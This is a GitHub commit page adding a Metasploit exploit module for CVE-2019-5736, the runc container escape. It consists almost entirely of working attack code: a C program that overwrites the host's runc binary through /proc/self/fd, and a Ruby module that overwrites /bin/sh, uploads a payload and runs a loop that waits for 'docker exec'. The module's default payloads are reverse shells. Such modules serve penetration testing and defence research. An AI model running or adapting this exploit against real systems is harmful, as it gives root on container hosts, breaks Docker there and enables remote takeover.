-
Notifications
You must be signed in to change notification settings - Fork 13.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add exploit module for CVE-2019-5736
- Loading branch information
1 parent
5d73217
commit 21c3aab
Showing
4 changed files
with
267 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
// From https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c | ||
// gcc -O2 -Wno-unused-result CVE-2019-5736.c -o CVE-2019-5736.x64.bin | ||
|
||
#include <fcntl.h> | ||
#include <stdlib.h> | ||
#include <stdio.h> | ||
#include <unistd.h> | ||
|
||
#define PAYLOAD_MAX_SIZE 1048576 | ||
#define O_PATH 010000000 | ||
#define SELF_FD_FMT "/proc/self/fd/%d" | ||
|
||
int main(int argc, char **argv) { | ||
int fd; | ||
char *payload, dest[512]; | ||
|
||
payload = malloc(PAYLOAD_MAX_SIZE); | ||
if (payload == NULL) return 2; | ||
|
||
FILE *f = fopen(argv[2], "r"); | ||
if (f == NULL) return 3; | ||
int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f); | ||
|
||
for (;;) { | ||
fd = open(argv[1], O_PATH); | ||
if (fd >= 0) { | ||
snprintf(dest, 500, SELF_FD_FMT, fd); | ||
for (int i = 0; i < 9999999; i++) { | ||
fd = open(dest, O_WRONLY | O_TRUNC); | ||
if (fd >= 0) { | ||
write(fd, payload, payload_sz); | ||
break; | ||
} | ||
} | ||
break; | ||
} | ||
} | ||
return 0; | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,203 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
|
||
Rank = AverageRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Post::Linux::Priv | ||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c | ||
PAYLOAD_MAX_SIZE = 1048576 | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Docker Container Escape Via runC Overwrite', | ||
'Description' => %q{ | ||
This module leverages a flaw in `runc` to escape a Docker container | ||
and get command execution on the host as root. This vulnerability is | ||
identified as CVE-2019-5736. It overwrites the `runc` binary with the | ||
payload and wait for someone to use `docker exec` to get into the | ||
container. This will trigger the payload execution. | ||
!! WARNING !! | ||
- The runc binary will be overwritten and the system will no longer be | ||
able to run Docker containers. | ||
- The shell binary inside the container (set by the OVERWRITE option) | ||
will also be overwritten. However, the module makes a backup prior | ||
the overwrite and should restore it automatically. | ||
}, | ||
'Author' => [ | ||
'Adam Iwaniuk', # Discovery and original PoC | ||
'Borys Popławski', # Discovery and original PoC | ||
'Nick Frichette', # Other PoC | ||
'Christophe De La Fuente' # MSF Module | ||
], | ||
'References' => [ | ||
['CVE', '2019-5736'], | ||
['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'], | ||
['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'], | ||
['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/'] | ||
], | ||
'DisclosureDate' => '2019-01-01', | ||
'License' => MSF_LICENSE, | ||
'Platform' => %w[linux unix], | ||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
[ | ||
'Unix (In-Memory)', | ||
{ | ||
'Platform' => 'unix', | ||
'Type' => :unix_memory, | ||
'Arch' => ARCH_CMD, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/unix/reverse' | ||
} | ||
} | ||
], | ||
[ | ||
'Linux (Dropper)', | ||
{ | ||
'Platform' => 'linux', | ||
'Type' => :linux_dropper, | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' | ||
} | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('OVERWRITE', [true, 'Shell to overwrite with /proc/self/exe', '/bin/sh']), | ||
OptString.new('SHELL', [true, 'Shell to use in exploit script (must be different than OVERWRITE shell)', '/bin/bash']), | ||
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]) | ||
]) | ||
end | ||
|
||
def check | ||
CheckCode::Appears | ||
end | ||
|
||
def encode_begin(real_payload, reqs) | ||
super | ||
|
||
return unless target['Type'] == :unix_memory | ||
|
||
reqs['EncapsulationRoutine'] = proc do |_reqs, raw| | ||
# Replace any instance of the shell we're about to overwrite with the | ||
# substitution shell. | ||
pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL']) | ||
overwrite_basename = File.basename(datastore['OVERWRITE']) | ||
shell_basename = File.basename(datastore['SHELL']) | ||
# Also, subsitute shell base names, since some payloads rely on PATH | ||
# environment variable to call a shell | ||
pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename) | ||
# Prepend shebang | ||
"#!#{datastore['SHELL']}\n#{pl}" | ||
end | ||
end | ||
|
||
def exploit | ||
unless is_root? | ||
fail_with(Failure::NoAccess, | ||
'The exploit needs a session as root (uid 0) inside the container') | ||
end | ||
|
||
path = datastore['WritableDir'] | ||
|
||
shell = datastore['OVERWRITE'] | ||
shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}.dat" | ||
print_status("Make a backup of #{shell} (#{shell_bak})") | ||
copy_file(shell, shell_bak) | ||
|
||
print_status("Overwrite #{shell}") | ||
write_file(shell, '#!/proc/self/exe') | ||
|
||
print_status('Upload payload') | ||
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}" | ||
if target['Type'] == :unix_memory | ||
vprint_status("Updated payload:\n#{payload.encoded}") | ||
upload(payload_path, payload.encoded) | ||
else | ||
pl = generate_payload_exe | ||
if pl.size > PAYLOAD_MAX_SIZE | ||
fail_with(Failure::BadConfig, "Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes") | ||
end | ||
upload(payload_path, generate_payload_exe) | ||
end | ||
|
||
print_status('Upload exploit') | ||
exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}" | ||
case session.arch | ||
when ARCH_X64 | ||
exe = exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin') | ||
when ARCH_X86 | ||
exe = exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin') | ||
else | ||
fail_with(Failure::BadConfig, "The session architecture is not compatible: #{session.arch}") | ||
end | ||
upload_and_chmodx(exe_path, exe) | ||
register_files_for_cleanup(exe_path) | ||
|
||
print_status('Upload main shell') | ||
shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}" | ||
upload( | ||
shell_path, | ||
loop_script( | ||
exe_path: exe_path, | ||
payload_path: payload_path, | ||
shell: shell, | ||
shell_bak: shell_bak | ||
) | ||
) | ||
|
||
print_status('Launch exploit loop...') | ||
# TODO: Find a way to make this process running in the background and keep | ||
# the handler around waiting for someone to use `docker exec` | ||
cmd_exec('/bin/bash', shell_path, 600, 'Subshell' => false) | ||
print_status('Done') | ||
end | ||
|
||
def upload(path, data) | ||
print_status("Writing '#{path}' (#{data.size} bytes) ...") | ||
write_file(path, data) | ||
register_file_for_cleanup(path) | ||
nil | ||
end | ||
|
||
def loop_script(exe_path:, payload_path:, shell:, shell_bak:) | ||
<<~SHELL | ||
while true; do | ||
for f in /proc/*/exe; do | ||
tmp=${f%/*} | ||
pid=${tmp##*/} | ||
cmdline=$(cat /proc/${pid}/cmdline) | ||
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then | ||
#{exe_path} /proc/${pid}/exe #{payload_path}& | ||
sleep 3 | ||
mv -f #{shell_bak} #{shell} | ||
exit | ||
fi | ||
done | ||
done | ||
SHELL | ||
end | ||
end |